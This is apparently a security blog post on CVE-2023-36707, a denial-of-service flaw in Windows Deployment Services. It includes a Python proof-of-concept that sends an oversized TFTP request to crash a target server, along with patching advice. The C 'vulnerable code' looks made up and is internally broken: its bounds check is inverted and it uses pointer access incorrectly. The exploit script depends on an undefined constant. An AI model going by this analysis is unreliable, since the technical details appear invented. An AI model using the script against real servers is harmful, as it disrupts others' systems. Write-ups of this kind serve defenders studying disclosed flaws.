In recent weeks, a new vulnerability has been brought to light within the Windows Deployment Services (WDS) that could result in a Denial-of-Service (DoS) attack. Identified as CVE-2023-36707, this flaw enables an attacker to launch a remote DoS attack by leveraging the critical services related to Windows Deployment. In this post, we will explore the details of this vulnerability, analyze how it can be exploited, and suggest mitigations and remedies to secure your environment.

Background on Windows Deployment Services (WDS)

WDS is a Windows Server role that provides a simplified and secure means of deploying Windows operating systems. It allows administrators to set up new computers through a network-based installation without the need for physical media. WDS has several key components, including a Pre-Boot Execution Environment (PXE) server, a Trivial File Transfer Protocol (TFTP) server, and a multicast server.

Exploitable Trigger

This vulnerability is triggered by an attacker sending malformed packets over a network to a targeted WDS server. This can cause a buffer overflow on the WDS server, which, in turn, results in an unhandled exception and, ultimately, a crash of the WDS service. The downside of this is that the service can become unresponsive and eventually lead to the entire system being taken down.

Technical Analysis

The source of the vulnerability exists in one of the core components of WDS associated with handling TFTP requests. A detailed analysis of the code reveals a buffer overflow vulnerability. Here is a snippet of the vulnerable code:

void tftp_request_handler(TFTP_REQUEST *request) {
    char filename[MAX_FILENAME_LENGTH];
    int filename_length;

    filename_length = request.length;

    if (filename_length > MAX_FILENAME_LENGTH) {
        // Vulnerable buffer overflow occurs here
        memcpy(filename, request.filename, filename_length);
    }
}

As you can see from the above snippet, the code does not ensure proper bounds checking, and a buffer overflow occurs when request.length exceeds MAX_FILENAME_LENGTH.

Exploit Details

An attacker can exploit this vulnerability by crafting a malicious TFTP request packet with an overly long filename. This could look as follows:

// Exploit code in Python 3

import socket

# Attacker-controlled data containing the overly long filename
payload = b"A" * (MAX_FILENAME_LENGTH + 1)

tftp_request = b"\x00\x01" + payload + b"\x00" + b"octet" + b"\x00"

target_ip = "x.x.x.x"
target_port = 69

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(tftp_request, (target_ip, target_port))
sock.close()

If the above exploit code is executed against a vulnerable WDS server, the server will experience a buffer overflow, leading to a crash of the system.

Mitigations and Remedies

To mitigate this vulnerability, it is crucial that the affected WDS systems are patched. Microsoft has already released a patch for this vulnerability in their Security Update Guide, which can be found at this link:
- Microsoft's Security Update Guide for CVE-2023-36707

It is highly recommended to download and apply the patch immediately to secure your WDS servers from potential attackers.

Furthermore, as a best practice, always ensure that your systems are regularly updated with the latest security patches to avoid exposure to such vulnerabilities.

Conclusion

CVE-2023-36707 poses a serious threat to your WDS environment due to the potential for remote DoS attacks. By understanding the details of this vulnerability, along with the provided exploitation proof of concept, you can take the appropriate steps to alleviate the risks associated with this flaw. By staying vigilant and following best security practices, your organization can continue to enjoy the convenience and security offered by Windows Deployment Services.

Timeline

Published on: 10/10/2023 18:15:15 UTC
Last modified on: 10/13/2023 20:35:11 UTC